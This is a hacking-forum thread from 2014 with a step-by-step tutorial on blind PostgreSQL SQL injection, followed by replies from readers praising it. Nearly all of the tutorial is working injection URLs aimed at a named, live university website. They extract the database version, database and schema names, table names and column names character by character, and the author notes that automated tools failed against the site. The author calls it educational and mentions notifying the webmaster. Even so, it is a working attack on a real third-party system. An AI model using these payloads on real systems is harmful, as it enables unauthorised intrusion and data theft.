

Forum:[Hack Forums](#)

Thread: [\[TUT\] Blind Postgre Sql Injection \[Advanced | Detailed | Unique\]](#)

dotcppfile - April 26, 2014, 2:09 pm

Hello everyone,

I just realized that there is no Advanced Postgre Blind Sql Injection in Hackforums or Ubers or around the Internet and that's why I decided to make this.

There's a lot to learn, it took me some time to get things working just fine.

We have a live target: http://www.must.edu.eg/Reports/College_TT.php?College_Id=7

This tutorial consists on letting you know everything you have to know about Postgre Sql Injection and much more when it comes to Blind Postgre Sql Injection.

I tried to Sql Inject this target using Popular tools such as Havij and Sqlmap but they failed.

Take your time to read, it's kind of confusing if you're not familiar with Postgre but I did add a lot of information in here that should be really useful to everyone.

Getting the Version:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT SUBSTR((SELECT version()),1,1)=CHAR(80))`The pages loads just fine which means that the first letter of version() is =Char(80)=P which is the first letter of Postgre.

Simple Part:

This part stands for simplicity. It's based on retrieving data from our Current Database and nothing else.

Getting the Current Database's Length:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT LENGTH(current_database()))> 10 (Error)`

`http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT LENGTH(current_database()))= 7 (No Error)`Which means that the length of our Current Database is 7.

Getting the Current Database's name:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114 (No Error)`

`http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 115 (Error)`

`http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) = 115 (No Error)`Which means that our first Character is 115=s

TIP: To find the other characters you just have to change 1,1 to 2,1(If you don't know why then you might want to check this link out: <http://www.postgresql.org/docs/9.1/static/functions-string.html>; that's how the substr functions works.)

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),2,1))) = 105 (No Error)`2nd character 105 = i
3rd character 115 = s

4th character 95 =

5th character 114 = r

6th character 101 = e

7th character 103 = g

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),8,1))) > 0 (Error)Why? Because the length of the database is 7 and you're looking for the 8th character which makes no sense.

So we just found our full Current Database which is = sis_reg

TIP: pg_database is a list that contains all the Databases.

Making sure we got the Right Database:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT current_database()) = (SELECT

CHR(115)||CHR(105)||CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103))This is simple, if the page loads normally then this means that current_database() = sis_reg.

The page Loads with No Error which means we found the right characters and the right database.

Getting First Table from our Current Database:

So we are only going to find the First Table of our Current Database which is: sis_reg

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0),1,1)))>120 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0),1,1)))=118 (No Error)TIP: If this doesn't work then use the following:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 0),1,1)))>0It is the same but we just added table_schema=current_schema() to inform the database that we are requesting tables from that specific schema.

1st character 118 = v

2nd character 105 = i

3rd character 101 = e

4th character 119 = w

5th character 115 = s

Getting First Column from our Current Database's First Table:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT column_name FROM information_schema.columns where table_name=CHR(118)||CHR(105)||CHR(101)||CHR(119)||CHR(115) LIMIT 1 OFFSET 0),1,1)))>118 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT column_name FROM information_schema.columns where table_name=CHR(118)||CHR(105)||CHR(101)||CHR(119)||CHR(115) LIMIT 1 OFFSET 0),1,1)))=116 (No Error)1st character 116 = t

2nd character 97 = a

3rd character 98 = b

4th character 108 = l

5th character 101 = e

6th character 95 =

7th character 99 = c

8th character 97 = a
9th character 116 = t
10th character 97 = a
11th character 108 = l
12th character 111 = o
13th character 103 = g

The First Column of our Current Database's First Table is: table_catalog

Retrieving Data:

(Check the end of the Detailed Part of this Tutorial to know how to retrieve Data the right way)

Detailed Part:

This part is all about detailed which will allow us to actually completely inject the website and retrieve everything we can find.

Okay, so in the First Part, we only worked on getting the Current Database and to retrieving data from it but what if the Website has Lots of Database and the Information you're looking for cannot be found in the Current Database? In this case, you have to follow this Part.

This part is all about Finding All the Databases, Schemas, Tables, Columns etc...

It's kind complicated so you have focus on it.

Firstly, we have to see how many Database there is:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 15),1,1)))>0` (No Error)

So we're checking if the 15th database has a NOT NULL first character and it does.

`http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 18),1,1)))>0` (Error) So I checked it out and I realized that there is exactly 18 databases.

Anyways, lets try and get the name of the First Database:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))>90` (Error)

`http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))=100` (No Error) So we're trying to get the first character of the first database name that can be found in pg_database.

1st character 100 = d

2nd character 100 = d

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),3,1)))>1` (Error)

Which means that there is no 3rd character.

Making sure we got the Right Database:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT (LENGTH((SELECT datname FROM pg_database LIMIT 1 OFFSET 0))))=2` (No Error)

Our first database's name is "dd".

Getting Tables from our First Database:

So we are only going to find the Tables of our First Database which is: dd

And to do that we need to get into lots of trouble/

Firstly, you should know that each Database creates multiply schemas in which tables are put in. In MySql Injections things are easier because you don't really care as much as you do in Postgre about Schemas.

In Postgre, you have to find the Schema Name and the Database Name if you want to retrieve your

specific Table.(You will understand better if you keep reading)

So firstly, we have to get the name of The First Schema that can be found in "dd":

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT schema_name FROM information_schema.schemata WHERE catalog_name=CHR(100)||CHR(100) LIMIT 1 OFFSET 0),1,1)))>0 (Error)`TIP: Before we move on, you have to know that catalog_name stands for the name of the database. Now in our case, our First Database "dd" has no tables.

So for the Sick of Knowledge we're going to do everything on our Current Database which is sis_reg because in this Tutorial I don't want to go ahead and find our Second Database.

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT schema_name FROM information_schema.schemata WHERE catalog_name=CHR(115)||CHR(105)||CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103) LIMIT 1 OFFSET 0),1,1)))>100 (Error)`

`http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT schema_name FROM information_schema.schemata WHERE catalog_name=CHR(115)||CHR(105)||CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103) LIMIT 1 OFFSET 0),1,1)))=112 (No Error)`1st character of our First Schema 112 = p

2nd character of our First Schema 103 = g

3rd character of our First Schema 95 =

4th character of our First Schema 116 = t

5th character of our First Schema 101 = e

6th character of our First Schema 109 = m

7th character of our First Schema 112 = p

8th character of our First Schema 95 =

9th character of our First Schema 51 = 3

10th character of our First Schema 57 = 9

Our first Schema Name is: pg_temp_39

And for the Second Schema:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT schema_name FROM information_schema.schemata WHERE catalog_name=CHR(115)||CHR(105)||CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103) LIMIT 1 OFFSET 1),1,1)))>0 (No Error)`As you can see we just increase our OFFSET from 0 to 1.

We go no error, this means it does exist but I am not going to retrieve it; it really takes a long time to get all the characters.

My point is proven, now you know what to do if you want the rest of the Schemas.

Anyways, to continue this tutorial and to teach you more about "playgrounds" in Blind Postgre Sql Injection, I am going to find the Current Schema in our Default Database and keep moving forward while using it.

Getting the Current Schema of our Default Database:

Code `http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_schema() FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 OFFSET 0),1,1)))=112 (No Error)`As you can see, we replace schema_name with current_schema() and we made our catalog_name=current_database().

1st character 112 = p

2nd character 117 = u

3rd character 98 = b

4th character 108 = l

5th character 105 = i

6th character 99 = c

Current Schema of our Default Database is: public

Getting First Table from Our Current Schema:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT
ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE
table_schema=CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99) LIMIT 1 OFFSET
0),1,1)))>120 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT
ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE
table_schema=CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99) LIMIT 1 OFFSET
0),1,1)))=116 (No Error)1st character 116 = t

2nd character 116 = t

3rd character 95 =

4th character 99 = c

5th character 111 = o

6th character 117 = u

7th character 114 = r

8th character 115 = s

9th character 101 = e

10th character 115 = s

11th character 95 =

12th character 108 = l

13th character 111 = o

14th character 99 = c

15th character 97 = a

16th character 116 = t

17th character 105 = i

18th character 111 = o

19th character 110 = n

20th character 115 = s

21th character 95 =

22th character 97 = a

23th character 108 = l

24th character 108 = l

25th character 95 =

26th character 115 = s

27th character 101 = e

28th character 109 = m

29th character 101 = e

30th character 115 = s

31th character 116 = t

32th character 101 = e

33th character 114 = r

34th character 115 = s

35th character 95 =

36th character 116 = t

37th character 98 = b

38th character 108 = l

39th character 48 = 0

We got this: tt_courses_locations_all_semesters_tbl0

Getting First Column from Our First Table in Current Schema:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND
ascii(SUBSTR((SELECT column_name from information_schema.columns WHERE
table_name=CHR(116)||CHR(116)||CHR(95)||CHR(99)||CHR(111)||CHR(117)||CHR(114)||CHR(115)
||CHR(101)||CHR(115)||CHR(95)||CHR(108)||CHR(111)||CHR(99)||CHR(97)||CHR(116)||CHR(105)||
CHR(111)||CHR(110)||CHR(115)||CHR(95)||CHR(97)||CHR(108)||CHR(108)||CHR(95)||CHR(115)||C
HR(101)||CHR(109)||CHR(101)||CHR(115)||CHR(116)||CHR(101)||CHR(114)||CHR(115)||CHR(95)||
CHR(116)||CHR(98)||CHR(108)||CHR(48) and table_schema=current_schema() LIMIT 1 OFFSET
0),1,1))>120 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND ascii(SUBSTR((SELECT
column_name from information_schema.columns WHERE
table_name=CHR(116)||CHR(116)||CHR(95)||CHR(99)||CHR(111)||CHR(117)||CHR(114)||CHR(115)
||CHR(101)||CHR(115)||CHR(95)||CHR(108)||CHR(111)||CHR(99)||CHR(97)||CHR(116)||CHR(105)||
CHR(111)||CHR(110)||CHR(115)||CHR(95)||CHR(97)||CHR(108)||CHR(108)||CHR(95)||CHR(115)||C
HR(101)||CHR(109)||CHR(101)||CHR(115)||CHR(116)||CHR(101)||CHR(114)||CHR(115)||CHR(95)||
CHR(116)||CHR(98)||CHR(108)||CHR(48) and table_schema=current_schema() LIMIT 1 OFFSET
0),1,1))=115 (No Error)1st character 115 = s

2nd character 117 = u

3rd character 98 = b

4th character 106 = j

5th character 101 = e

6th character 99 = c

7th character 116 = t

8th character 95 =

9th character 105 = i

10th character 100 = d

So the name of our First Column from Our First Table in Current Schema is: subject_id

If you are working with something other then current_schema then you obviously just have to
replace current_schema() with the Oracle CHR of your Schema Name.

Retrieving Data from that Column:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT
ascii(SUBSTR((SELECT subject_id FROM tt_courses_locations_all_semesters_tbl0 LIMIT 1
OFFSET 0),1,1))) > 0 (No Error)TIP: If this didn't work then use the following more detailed query:

Code http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT
ascii(SUBSTR((SELECT subject_id FROM sis_reg.public.tt_courses_locations_all_semesters_tbl0
LIMIT 1 OFFSET 0),1,1))) > 0As you can see we replaced the simple
tt_courses_location_all_semesters_tbl0 by sis_reg.public.tt_courses_locations_all_semesters_tbl0
which stands for database.schema.table and that's exactly what you should be using if you're trying
to extract data from different databases/schemas/tables instead of the current ones.

(I won't be retrieving data even though we're just retrieving IDs. This tutorial was made for
Educational Purposes Only; the Webmaster of Must.Edu.Eg will soon be informed about this
vulnerability and about the way of fixing it)

I guess that's it.

I know doing this takes a very long time, much more then a Mysql Blind Sql Injection because
there's many extra things you should worry about.

Again, tools such as Havij and Sqlmap failed to inject this website and I am pretty sure many others
will also fail because this isn't an easy thing to do and that's why I will be soon making a tool that will
take care of blind advanced injections such as this one in c++ so stay tuned for it.

Before I end this tutorial, I just want you to know that I am not asking for anything, no rep, no replies
and nothing else but if you can simply watch this video it would be great:

Spoiler ([Click to View](#))[Video: <http://www.youtube.com/watch?v=6FMNFvKEy4c>]

(I know most of you already knows it but watching it again won't harm you at all)

That's all,
See you around,
dotcppfile.

JACK.HAMMER - April 26, 2014, 2:24 pm

amazing its one from the greatest threads i have ever seen good work man and i wish you make some thing about blind SQLserver injections boolean based

dotcppfile - April 26, 2014, 2:28 pm

(Apr 26, 2014 02:24 PM)JACK.HAMMER Wrote: [\[CITE\]](#) amazing its one from the greatest threads i have ever seen good work man and i wish you make some thing about blind SQLserver injections boolean based

Great you liked it JACK.HAMMER. I will work on what you asked for as soon as I find time.

JACK.HAMMER - April 26, 2014, 2:44 pm

man i wish you and me make threads about the advanced blind injection too its very danger attakcs

Filisko - April 26, 2014, 3:33 pm

OMG and that's not leaked? if it isnt, all my respect!

dotcppfile - April 26, 2014, 4:06 pm

(Apr 26, 2014 03:33 PM)Filisko Wrote: [\[CITE\]](#) OMG and that's not leaked? if it isnt, all my respect!

This isn't leaked, you can try google if you want to; there is no such Tuts related to Blind Postgre Sql Injection anywhere on the Net. Anyways, it's really great you liked it and thanks a lot for showing respect.

-DownFall - April 26, 2014, 5:24 pm

Was going to make a writeup after his help thread but I never seem to find to find the time. Nice writeup, should help some people out. ?

dotcppfile - April 26, 2014, 5:36 pm

(Apr 26, 2014 05:24 PM)-DownFall Wrote: [\[CITE\]](#) Was going to make a writeup after his help thread but I never seem to find to find the time. Nice writeup, should help some people out. ?

Same thing, but I started working on this right after his help thread, anyways, thanks for the nice reply DownFall, appreciated.

dotcppfile - April 27, 2014, 8:48 pm

(Apr 27, 2014 06:34 PM)EPIXIA Wrote: [\[CITE\]](#) Bookmarked! Thanks a lot for taking your time writing this, I'll read through it more closely later as I only skimmed across it for now! :)

I hope it helps you out somehow, thanks for replying.